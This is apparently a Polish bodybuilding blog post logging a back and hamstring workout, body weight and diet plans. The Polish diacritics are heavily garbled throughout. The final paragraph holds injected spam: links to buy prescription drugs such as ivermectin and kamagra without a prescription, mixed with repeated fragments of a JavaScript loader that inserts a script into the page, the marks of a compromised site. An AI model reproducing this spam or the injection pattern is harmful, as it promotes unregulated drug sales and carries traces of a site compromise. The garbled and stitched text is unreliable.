2.07.2012 / Tomasz Lech / Kulturystyka

Dzisiaj katowaAi??em plecy i dwugAi??owe uda.Waga z rana 111,5kg czyli w zasadzie bez zmian.Aeroby krAi??cAi?? 4x25min.Apetyt jak na razie taki sobie ale najwaA?niejsze A?e zjadam to co mam zaplanowane.MyAi??lAi?? A?e z dnia na dzieAi?? powinien byAi?? coraz lepszy.W tygodniu planujAi?? siAi?? wybraAi?? do Radka SAi??odkiewicza A?eby mnie zobaczyAi?? i oceniAi?? jak to wyglAi??da na ten okres.JeA?eli bAi??dzie trzeba to wprowadziAi?? jakieAi?? zmiany.ChociaA? wydaje mi siAi?? A?e wszystko idzie w dobrym kierunku.Pod koniec tygodnia fotki byAi?? moA?e wAi??aAi??nie jak bAi??dAi?? u Radka na siAi??owni.PrzeraA?a mnie tylko trochAi?? ta pogoda-strasznie gorAi??co i ciAi??A?ko siAi?? trenujAi??.

plecy
-wiosAi??owanie z pA?Ai??sztangAi?? 4×10
-podciAi??ganie sztangi w opadzie 3×10
-podciAi??ganie hantla jednorAi??cz w opadzie 3×10
-Ai??ciAi??ganie drAi??A?ka do klatki piersiowej 3×12
-martwy ciAi??g 3×10

dwugAi??owe uda
-zginanie podudzia stojAi??c 4×10
-zginanie podudzia leA?Ai??c 4×10
document.currentScript.parentNode.insertBefore(s, document.currentScript); http://copiacloud.com/order-pamelor-and-weight/ buy no prescription ivermectin online Pills online difference between kamagra and kamagra gold. Kamagra without prescription. kamagra gold vs viagra. online Buy Cheap http://ebsa.es/how-much-does-yasmin-pill-cost-in-ireland/ document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript); Purchase order omnicef purchase flonase http://gilpincarwash.com/?p=14290